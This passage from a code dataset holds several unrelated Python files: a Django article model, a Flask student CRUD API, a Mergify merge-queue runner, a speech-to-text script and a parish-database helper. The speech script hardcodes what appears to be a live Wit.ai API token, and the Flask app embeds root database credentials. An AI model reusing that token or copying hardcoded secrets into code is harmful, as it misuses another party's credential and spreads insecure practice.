"django.core.exceptions.ValidationError", "line_number": 53, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 55, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 57, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 69, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.models.enums.TextChoices", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 82, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 82, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 85, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 85, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 86, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 86, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 87, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 88, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 88, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 89, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 89, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 90, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 90, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 91, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 91, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 100, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 105, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 110, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 113, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 115, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 118, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 121, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 124, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 128, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 131, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 134, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 137, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 148, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 148, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 150, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 150, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 151, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 151, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 152, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 152, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 153, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 153, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 153, "usage_type": "attribute"}, {"api_name": "django.db.models.CharField", "line_number": 154, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 154, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 155, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 155, "usage_type": "name"}, {"api_name": "django.db.models.signals.pre_save.connect", "line_number": 182, "usage_type": "call"}, {"api_name": "django.db.models.signals.pre_save", "line_number": 182, "usage_type": "name"}]} {"seq_id": "443851358", "text": "from django.db import models\nfrom django.conf import settings\nfrom smedaily.common.models import TimeStampMixin\n\n\n# Create your models here.\nclass Article(TimeStampMixin):\n \"\"\"Article\n 작성기\"\"\"\n title = models.CharField(max_length=200, help_text='제목')\n content = models.TextField(help_text='내용')\n stock = models.CharField(max_length=200, help_text='관련종목', blank=True, default=' ')\n writer = models.ForeignKey(\n settings.AUTH_USER_MODEL\n , on_delete=models.PROTECT\n , related_name='my_article'\n , to_field='username'\n , help_text='작성자'\n )\n proto = models.TextField(blank=True, default=' ', help_text='해당 프로토 아티클')\n relate_dart = models.TextField(blank=True, default=' ', help_text='관련자료 id. , 로 구분')\n\n class Meta:\n db_table = 'article_post'\n indexes = [\n models.Index(fields=['title'], name='article_post_title_idx')\n ]\n\n def __str__(self):\n return self.title\n", "sub_path": "smedaily/article/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1022, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "smedaily.common.models.TimeStampMixin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.PROTECT", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.Index", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 26, "usage_type": "name"}]} {"seq_id": "21271724", "text": "# coding:utf-8\nfrom flask import Flask, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_DATABASE_URI'] = \"mysql+pymysql://root:root@127.0.0.1:3306/supermarket\"\ndb = SQLAlchemy(app)\n\n\nclass Student(db.Model):\n s_id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n s_num = db.Column(db.String(10), unique=True)\n s_name = db.Column(db.String(16))\n s_age = db.Column(db.Integer, default=0)\n\n __tablename__ = \"student\"\n\n\n@app.route('/')\ndef index():\n return \"<h1>Hello</h1>\"\n\n\n@app.route('/initdb', methods=['POST'])\ndef init_db():\n db.create_all()\n db.session.commit()\n ret_dic = {\"ret_code\": \"200\", \"ret_msg\": \"创建数据库成功\"}\n return jsonify(ret_dic)\n\n\n@app.route('/add_student', methods=['POST'])\ndef add_student():\n stu = Student()\n stu.s_num = request.form['s_num']\n stu.s_name = request.form['s_name']\n stu.s_age = request.form['s_age']\n\n db.session.add(stu)\n db.session.commit()\n\n ret_dic = {'ret_code': '200', 'ret_msg': '添加信息成功',\n 'student': {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}}\n return jsonify(ret_dic)\n\n\n@app.route('/all_student')\ndef get_all_student():\n db_query = Student.query.all()\n student_list = []\n for stu in db_query:\n student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}\n student_list.append(student_info)\n\n ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',\n 'student': student_list, 'count': len(student_list)}\n return jsonify(ret_dic)\n\n\n@app.route('/select')\ndef select_student():\n target = request.args['s_num']\n db_ret = Student.query.filter(Student.s_num == target)\n\n student_list = []\n for stu in db_ret:\n student_info = {'s_id': stu.s_id, 's_num': stu.s_num, 's_name': stu.s_name, 's_age': stu.s_age}\n student_list.append(student_info)\n\n ret_dic = {'ret_code': '200', 'ret_msg': '查询信息成功',\n 'student': student_list, 'count': len(student_list)}\n return jsonify(ret_dic)\n\n\n@app.route('/update', methods=['PUT'])\ndef update_student():\n stu_num = request.form['s_num']\n stu_name = request.form['s_name']\n stu_age = request.form['s_age']\n\n target_stu = Student.query.filter(Student.s_num == stu_num)[0]\n target_stu.s_num = stu_num\n target_stu.s_name = stu_name\n target_stu.s_age = stu_age\n\n s_list = [\n {'s_id': target_stu.s_id, 's_num': target_stu.s_num,\n 's_name': target_stu.s_name, 's_age': target_stu.s_age}]\n\n ret_dic = {'ret_code': '200', 'ret_msg': '修改信息成功',\n 'student': s_list,\n 'count': len(s_list)}\n\n return jsonify(ret_dic)\n\n\n@app.route('/delete', methods=['DELETE'])\ndef delete_student():\n stu_num = request.form['s_num']\n\n target_stu = Student.query.filter(Student.s_num == stu_num)[0]\n\n db.session.delete(target_stu)\n db.session.commit()\n\n s_list = [\n {'s_id': target_stu.s_id, 's_num': target_stu.s_num,\n 's_name': target_stu.s_name, 's_age': target_stu.s_age}]\n\n ret_dic = {'ret_code': '200', 'ret_msg': '删除信息成功',\n 'student': s_list,\n 'count': len(s_list)}\n\n return jsonify(ret_dic)\n\n\nif __name__ == '__main__':\n app.run(port=8000)\n", "sub_path": "WYF/base/wyf_mysql.py", "file_name": "wyf_mysql.py", "file_ext": "py", "file_size_in_byte": 3444, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 46, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 59, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 74, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 79, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 79, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 81, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 81, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 101, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 116, "usage_type": "call"}]} {"seq_id": "99782423", "text": "#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nimport typing\n\nfrom first import first\n\nfrom mergify_engine import check_api\nfrom mergify_engine import context\nfrom mergify_engine import delayed_refresh\nfrom mergify_engine import github_types\nfrom mergify_engine import rules\nfrom mergify_engine.actions import merge_base\nfrom mergify_engine.queue import merge_train\n\n\nasync def have_unexpected_draft_pull_request_changes(\n ctxt: context.Context, car: merge_train.TrainCar\n) -> bool:\n unexpected_event = first(\n (source for source in ctxt.sources),\n key=lambda s: s[\"event_type\"] == \"pull_request\"\n and typing.cast(github_types.GitHubEventPullRequest, s[\"data\"])[\"action\"]\n in [\"closed\", \"reopened\", \"synchronize\"],\n )\n if unexpected_event:\n ctxt.log.info(\n \"train car received an unexpected event\",\n unexpected_event=unexpected_event,\n )\n return True\n\n return False\n\n\nasync def handle(queue_rules: rules.QueueRules, ctxt: context.Context) -> None:\n # FIXME: Maybe create a command to force the retesting to put back the PR in the queue?\n\n train = await merge_train.Train.from_context(ctxt)\n\n car = train.get_car_by_tmp_pull(ctxt)\n if not car:\n if ctxt.closed:\n ctxt.log.info(\n \"train car temporary pull request has been closed\", sources=ctxt.sources\n )\n else:\n ctxt.log.warning(\n \"train car not found for an opened merge queue pull request\",\n sources=ctxt.sources,\n )\n\n return\n\n if car.checks_conclusion != check_api.Conclusion.PENDING and ctxt.closed:\n ctxt.log.info(\n \"train car temporary pull request has been closed\", sources=ctxt.sources\n )\n return\n\n if car.queue_pull_request_number is None:\n raise RuntimeError(\n \"Got draft pull request event on car without queue_pull_request_number\"\n )\n\n ctxt.log.info(\n \"handling train car temporary pull request event\",\n sources=ctxt.sources,\n gh_pulls_queued=[\n ep.user_pull_request_number for ep in car.still_queued_embarked_pulls\n ],\n )\n\n queue_name = car.still_queued_embarked_pulls[0].config[\"name\"]\n try:\n queue_rule = queue_rules[queue_name]\n except KeyError:\n ctxt.log.warning(\n \"queue_rule not found for this train car\",\n gh_pulls_queued=[\n ep.user_pull_request_number for ep in car.still_queued_embarked_pulls\n ],\n queue_rules=queue_rules,\n queue_name=queue_name,\n )\n return\n\n pull_requests = await car.get_pull_requests_to_evaluate()\n evaluated_queue_rule = await queue_rule.get_pull_request_rule(\n ctxt.repository,\n ctxt.pull[\"base\"][\"ref\"],\n pull_requests,\n ctxt.log,\n ctxt.has_been_refreshed_by_timer(),\n )\n\n for pull_request in pull_requests:\n await delayed_refresh.plan_next_refresh(\n ctxt, [evaluated_queue_rule], pull_request\n )\n\n if not ctxt.sources:\n # NOTE(sileht): Only comment/command, don't need to go further\n return None\n\n unexpected_changes: typing.Optional[merge_train.UnexpectedChange] = None\n if await have_unexpected_draft_pull_request_changes(ctxt, car):\n unexpected_changes = merge_train.UnexpectedDraftPullRequestChange(\n car.queue_pull_request_number\n )\n else:\n current_base_sha = await train.get_base_sha()\n if not await train.is_synced_with_the_base_branch(current_base_sha):\n unexpected_changes = merge_train.UnexpectedBaseBranchChange(\n current_base_sha\n )\n\n if unexpected_changes is None:\n real_status = status = await merge_base.get_rule_checks_status(\n ctxt.log,\n ctxt.repository,\n pull_requests,\n evaluated_queue_rule,\n unmatched_conditions_return_failure=False,\n )\n if real_status == check_api.Conclusion.FAILURE and (\n not car.has_previous_car_status_succeeded()\n or len(car.initial_embarked_pulls) != 1\n ):\n # NOTE(sileht): we can't set it as failed as we don't known\n # yet which pull request is responsible for the failure.\n # * one of the batch ?\n # * one of the parent car ?\n status = check_api.Conclusion.PENDING\n else:\n real_status = status = check_api.Conclusion.PENDING\n\n ctxt.log.info(\n \"train car temporary pull request evaluation\",\n gh_pull_queued=[\n ep.user_pull_request_number for ep in car.still_queued_embarked_pulls\n ],\n evaluated_queue_rule=evaluated_queue_rule.conditions.get_summary(),\n unexpected_changes=unexpected_changes,\n temporary_status=status,\n real_status=real_status,\n event_types=[se[\"event_type\"] for se in ctxt.sources],\n )\n\n await car.update_state(real_status, evaluated_queue_rule)\n await car.update_summaries(status, unexpected_change=unexpected_changes)\n await train.save()\n\n if unexpected_changes:\n ctxt.log.info(\n \"train will be reset\",\n gh_pull_queued=[\n ep.user_pull_request_number for ep in car.still_queued_embarked_pulls\n ],\n unexpected_changes=unexpected_changes,\n )\n await train.reset(unexpected_changes)\n\n await ctxt.client.post(\n f\"{ctxt.base_url}/issues/{ctxt.pull['number']}/comments\",\n json={\n \"body\": f\"This pull request has unexpected changes: {unexpected_changes}. The whole train will be reset.\"\n },\n )\n", "sub_path": "mergify_engine/engine/queue_runner.py", "file_name": "queue_runner.py", "file_ext": "py", "file_size_in_byte": 6244, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "mergify_engine.context.Context", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mergify_engine.context", "line_number": 27, "usage_type": "name"}, {"api_name": "mergify_engine.queue.merge_train.TrainCar", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mergify_engine.queue.merge_train", "line_number": 27, "usage_type": "name"}, {"api_name": "first.first", "line_number": 29, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 32, "usage_type": "call"}, {"api_name": "mergify_engine.github_types.GitHubEventPullRequest", "line_number": 32, "usage_type": "attribute"}, {"api_name": "mergify_engine.github_types", "line_number": 32, "usage_type": "name"}, {"api_name": "mergify_engine.rules.QueueRules", "line_number": 45, "usage_type": "attribute"}, {"api_name": "mergify_engine.rules", "line_number": 45, "usage_type": "name"}, {"api_name": "mergify_engine.context.Context", "line_number": 45, "usage_type": "attribute"}, {"api_name": "mergify_engine.context", "line_number": 45, "usage_type": "name"}, {"api_name": "mergify_engine.queue.merge_train.Train.from_context", "line_number": 48, "usage_type": "call"}, {"api_name": "mergify_engine.queue.merge_train.Train", "line_number": 48, "usage_type": "attribute"}, {"api_name": "mergify_engine.queue.merge_train", "line_number": 48, "usage_type": "name"}, {"api_name": "mergify_engine.check_api.Conclusion", "line_number": 64, "usage_type": "attribute"}, {"api_name": "mergify_engine.check_api", "line_number": 64, "usage_type": "name"}, {"api_name": "mergify_engine.delayed_refresh.plan_next_refresh", "line_number": 107, "usage_type": "call"}, {"api_name": "mergify_engine.delayed_refresh", "line_number": 107, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 115, "usage_type": "attribute"}, {"api_name": "mergify_engine.queue.merge_train.UnexpectedChange", "line_number": 115, "usage_type": "attribute"}, {"api_name": "mergify_engine.queue.merge_train", "line_number": 115, "usage_type": "name"}, {"api_name": "mergify_engine.queue.merge_train.UnexpectedDraftPullRequestChange", "line_number": 117, "usage_type": "call"}, {"api_name": "mergify_engine.queue.merge_train", "line_number": 117, "usage_type": "name"}, {"api_name": "mergify_engine.queue.merge_train.UnexpectedBaseBranchChange", "line_number": 123, "usage_type": "call"}, {"api_name": "mergify_engine.queue.merge_train", "line_number": 123, "usage_type": "name"}, {"api_name": "mergify_engine.actions.merge_base.get_rule_checks_status", "line_number": 128, "usage_type": "call"}, {"api_name": "mergify_engine.actions.merge_base", "line_number": 128, "usage_type": "name"}, {"api_name": "mergify_engine.check_api.Conclusion", "line_number": 135, "usage_type": "attribute"}, {"api_name": "mergify_engine.check_api", "line_number": 135, "usage_type": "name"}, {"api_name": "mergify_engine.check_api.Conclusion", "line_number": 143, "usage_type": "attribute"}, {"api_name": "mergify_engine.check_api", "line_number": 143, "usage_type": "name"}, {"api_name": "mergify_engine.check_api.Conclusion", "line_number": 145, "usage_type": "attribute"}, {"api_name": "mergify_engine.check_api", "line_number": 145, "usage_type": "name"}]} {"seq_id": "517110915", "text": "import speech_recognition as sr\nimport os\nimport converter\n\n\ndef wav2txt(audioFileName):\n reco = sr.Recognizer()\n reco.energy_threshold = 300\n\n givenAudioFile = sr.AudioFile(audioFileName)\n\n with givenAudioFile as srcFile:\n givenAudioFile = reco.record(srcFile)\n\n print(reco.recognize_wit(givenAudioFile, \"O7NTCSR3OEK6VZOGW4I65N6P5OTKSI3C\"))\n\n txtFile = open(\"audioAsText.txt\", \"w+\")\n txtFile.write(reco.recognize_wit(givenAudioFile, \"O7NTCSR3OEK6VZOGW4I65N6P5OTKSI3C\"))\n txtFile.close()\n\ndef clip2wav(audioFileName):\n c = Converter()\n conv = c.convert(audioFileName, 'audio.mp3', {'format':'mp3','audio':{'codec': 'mp3','bitrate':'22050','channels':1}})\n for timecode in conv:\n pass \n os.system(\"mpg123 -w audio.wav audio.mp3\")\n wav2txt(\"audio.wav\")\n\n\ndef main():\n audFile = input(\"Enter audio file name: \")\n clip2wav(audFile)\n \n\nif __name__ == \"__main__\":\n main()", "sub_path": "f8h.py", "file_name": "f8h.py", "file_ext": "py", "file_size_in_byte": 933, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "speech_recognition.Recognizer", "line_number": 7, "usage_type": "call"}, {"api_name": "speech_recognition.AudioFile", "line_number": 10, "usage_type": "call"}, {"api_name": "os.system", "line_number": 26, "usage_type": "call"}]} {"seq_id": "308376219", "text": "#!/usr/bin/env python3\n\n'''\n\nHelper for apps that use PDS databases (that were imported into\nSQLite3 databases).\n\nMost routines in this module are private to the module (i.e., those\nstarting with \"_\"). There's only a handful of public functions.\n\n'''\n\nimport datetime\nimport pathlib\nimport re\n\nimport PDS\n\n##############################################################################\n#\n# Public values\n\n# Keys for types of emails\npkey = 'preferred_emails'\nnpkey = 'non_preferred_emails'\n\ndate_never = datetime.date.fromisoformat('1899-12-30')\n\n##############################################################################\n\n# Which database number to use?\n# At ECC, the active database is 1.\n_database = 1\n\ndef _get_db_num():\n return _database\n\n#-----------------------------------------------------------------------------\n\n# These values are not in the database -- they are hard-coded (!)\ndef _find_member_types():\n member_types = {\n 0 : 'Head of Household',\n 1 : 'Spouse',\n 2 : 'Adult',\n 3 : 'Young Adult',\n 4 : 'Child',\n 5 : 'Other',\n }\n\n return member_types\n\n#-----------------------------------------------------------------------------\n\n# Normalize some flags to actual Python booleans\ndef _normalize_boolean(item, src, dest=None) -> None:\n if dest is None:\n dest=src\n\n if src not in item:\n item[dest] = False\n elif item[src] == '' or item[src] == 0 or not item[src]:\n item[dest] = False\n if src != dest:\n del item[src]\n elif item[src] == 1:\n item[dest] = True\n if src != dest:\n del item[src]\n\n#-----------------------------------------------------------------------------\n\n# Represent filenames with a Pathlib object, so that it's equally accessible\n# when running on Windows and Linux.\ndef _normalize_filename(item, src) -> None:\n if src not in item:\n return\n\n if not item[src]:\n del item[src]\n return\n\n item[src] = pathlib.PureWindowsPath(item[src])\n\n#-----------------------------------------------------------------------------\n\ndef _normalize_date(item, sentinel=True):\n if item is None or item == '0000-00-00':\n if sentinel:\n return date_never\n else:\n return None\n else:\n return datetime.date.fromisoformat(item)\n\n#-----------------------------------------------------------------------------\n\n# Compute a salutation for the Head of Household (\"HoH\" and spouse) for each\n# familiy. PDS allows there to be multiple HoHs and multiple spouse Members in\n# any given Family, so be sure to account for that.\n#\n# Make the salutation be of the form:\n#\n# first/nickname [and first/nickname [...]] last_name [and first/nickname [and first/nickname [...]] last_name [...]\n#\n# Examples:\n#\n# - Andrew and Betty Smith\n# - Andrew Smith and Betty Johnson\n# - Andrew and Betty Smith and Joseph Johnson\n# - Andrew and Betty Smith and Joseph and Geraldine Johnson\n#\ndef _compute_family_hoh_and_spouse_salutations(families, log):\n def _add(last_names, member):\n last = member['last']\n if last not in last_names:\n last_names[last] = list()\n last_names[last].append(member)\n\n #-----------------------------------------------------------\n\n for fid in sorted(families.keys()):\n family = families[fid]\n\n last_names = dict()\n hoh = list()\n spouses = list()\n\n for member in family['members']:\n last = member['last']\n\n if 'Head' in member['type']:\n hoh.append(member)\n _add(last_names, member)\n if 'Spouse' in member['type']:\n spouses.append(member)\n _add(last_names, member)\n\n salutation = ''\n for last_name in sorted(last_names.keys()):\n first_names = list()\n for member in last_names[last_name]:\n if 'nickname' in member and member['nickname'] is not None:\n first_names.append(member['nickname'])\n elif member['first'] is not None:\n first_names.append(member['first'])\n else:\n first_names.append(\"***UNKNOWN***\")\n log.error(\"Unknown first name\")\n\n if len(salutation) > 0:\n salutation += ' and '\n salutation += f\"{' and '.join(first_names)} {last_name}\"\n\n family['hoh_and_spouse_salutation'] = salutation\n\n#-----------------------------------------------------------------------------\n\ndef _load_families(pds, columns=None,\n active_only=True, log=None):\n db_num = _get_db_num()\n\n if not columns:\n columns = list()\n columns.append('Name')\n columns.append('MailingName')\n columns.append('ParKey')\n columns.append('StreetAddress1')\n columns.append('StreetAddress2')\n columns.append('StreetCityRec')\n columns.append('StreetZip')\n columns.append('StatDescRec')\n columns.append('PictureFile')\n columns.append('EnvelopeUser')\n columns.append('Visitor')\n columns.append('SendNoMail')\n columns.append('PDSInactive{num}'.format(num=db_num))\n\n where = ('Fam_DB.CensusFamily{db_num}=1'\n .format(db_num=db_num))\n if active_only:\n where += (' AND '\n '(Fam_DB.PDSInactive{db_num}=0 OR '\n 'FAM_DB.PDSInactive{db_num} is null)'\n .format(db_num=db_num))\n\n families = PDS.read_table(pds, 'Fam_DB', 'FamRecNum',\n columns=columns, log=log,\n where=where)\n\n for f in families.values():\n _normalize_boolean(f, src=f'PDSInactive{db_num}', dest=\"Inactive\")\n _normalize_boolean(f, src='SendNoMail')\n _normalize_boolean(f, src='EnvelopeUser')\n _normalize_filename(f, src='PictureFile')\n\n return families\n\n#-----------------------------------------------------------------------------\n\ndef _load_members(pds, columns=None,\n active_only=True, log=None):\n db_num = _get_db_num()\n\n if not columns:\n columns = list()\n columns.append('Name')\n columns.append('FamRecNum')\n columns.append('DateOfBirth')\n columns.append('MonthOfBirth')\n columns.append('DayOfBirth')\n columns.append('YearOfBirth')\n columns.append('Gender')\n columns.append('MaritalStatusRec')\n columns.append('MemberType')\n columns.append('PictureFile')\n columns.append('Location')\n columns.append('LanguageRec')\n columns.append('EthnicDescRec')\n columns.append('User3DescRec') # Skills\n columns.append('User4DescRec') # Occupation\n columns.append('Deceased')\n columns.append('PDSInactive{num}'.format(num=db_num))\n\n where = ('Mem_DB.CensusMember{db_num}=1'\n .format(db_num=db_num))\n if active_only:\n where += (' AND '\n 'Mem_DB.deceased=0 AND '\n '(Mem_DB.PDSInactive{db_num}=0 OR '\n 'Mem_DB.PDSInactive{db_num} is null)'\n .format(db_num=db_num))\n\n members = PDS.read_table(pds, 'Mem_DB', 'MemRecNum',\n columns=columns, log=log,\n where=where)\n\n for m in members.values():\n _normalize_boolean(m, src='Deceased')\n _normalize_boolean(m, src=f'PDSInactive{db_num}', dest=\"Inactive\")\n _normalize_filename(m, src='PictureFile')\n m['date_of_birth'] = _normalize_date(m['DateOfBirth'], sentinel=False)\n\n return members\n\n#-----------------------------------------------------------------------------\n\ndef _link_families_members(families, members):\n # Make a copy because we don't to delete Members from the\n # main/actual list\n members_copy = members.copy()\n\n for fid, f in families.items():\n family_members = list()\n for mid in members_copy:\n m = members[mid]\n\n frn = m['FamRecNum']\n if fid == frn:\n family_members.append(m)\n m['family'] = f\n\n # Delete all the Members we found from the main list of active\n # members (because we already found their families)\n for m in family_members:\n del members_copy[m['MemRecNum']]\n\n f['members'] = family_members\n\n#-----------------------------------------------------------------------------\n\ndef _delete_non_parishioners(families, members):\n to_delete = list()\n\n # Look for family ParKey >= 10,000\n for fid, f in families.items():\n parkey = int(f['ParKey'])\n if parkey >= 9000 or f['Visitor']:\n f = families[fid]\n for m in f['members']:\n mid = m['MemRecNum']\n del members[mid]\n\n to_delete.append(fid)\n\n for fid in to_delete:\n del families[fid]\n\n#-----------------------------------------------------------------------------\n\ndef _link_family_emails(families, emails):\n for f in families.values():\n f[pkey] = list()\n f[npkey] = list()\n\n for e in emails.values():\n if not e['FamEmail']:\n continue\n\n fid = e['MemRecNum']\n if fid not in families:\n continue\n\n f = families[fid]\n if e['EMailOverMail']:\n key = pkey\n else:\n key = npkey\n\n addr = '{name} <{addr}>'.format(name=f['Name'],\n addr=e['EMailAddress'].strip())\n e['full_address'] = addr\n f[key].append(e)\n\n#-----------------------------------------------------------------------------\n\ndef _link_family_city_states(families, city_states):\n for f in families.values():\n csid = f['StreetCityRec']\n if csid and csid in city_states:\n f['city_state'] = city_states[csid]['CityState']\n else:\n # Several places in our Python assume that there is a\n # value in the \"city_state\" entry. So rather than go\n # check all of those places, just put an empty string\n # there if there actually is no value.\n f['city_state'] = ''\n\n#-----------------------------------------------------------------------------\n\ndef _link_family_statuses(families, fam_status_types):\n for f in families.values():\n id = f['StatDescRec']\n if id in fam_status_types:\n f['status'] = fam_status_types[id]['Description']\n\n#-----------------------------------------------------------------------------\n\ndef link_family_or_member_phones(family_or_member, phones, phone_types):\n for p in phones.values():\n family_or_member_id = p['Rec']\n if family_or_member_id not in family_or_member:\n continue\n\n f = family_or_member[family_or_member_id]\n if 'phones' not in f:\n f['phones'] = list()\n\n ptr = p['PhoneTypeRec']\n phone_type = ''\n if ptr in phone_types:\n phone_type = phone_types[ptr]['Description']\n\n _normalize_boolean(p, 'Unlisted')\n f['phones'].append({\n 'number' : p['Number'],\n 'type' : phone_type,\n 'unlisted' : p['Unlisted'],\n })\n\n#-----------------------------------------------------------------------------\n\ndef _link_family_phones(families, phones, phone_types):\n link_family_or_member_phones(families, phones, phone_types)\n\n#-----------------------------------------------------------------------------\n\ndef _link_family_keywords(families, keywords, fam_keywords):\n for fk in fam_keywords.values():\n fid = fk['FamRecNum']\n if fid not in families:\n continue\n\n f = families[fid]\n if 'keywords' not in f:\n f['keywords'] = list()\n keyword = keywords[fk['DescRec']]['Description']\n f['keywords'].append(keyword)\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_types(members, types):\n for m in members.values():\n m['type'] = types[m['MemberType']]\n\n#-----------------------------------------------------------------------------\n\ndef _link_member_emails(members, emails):\n for m in members.values():\n 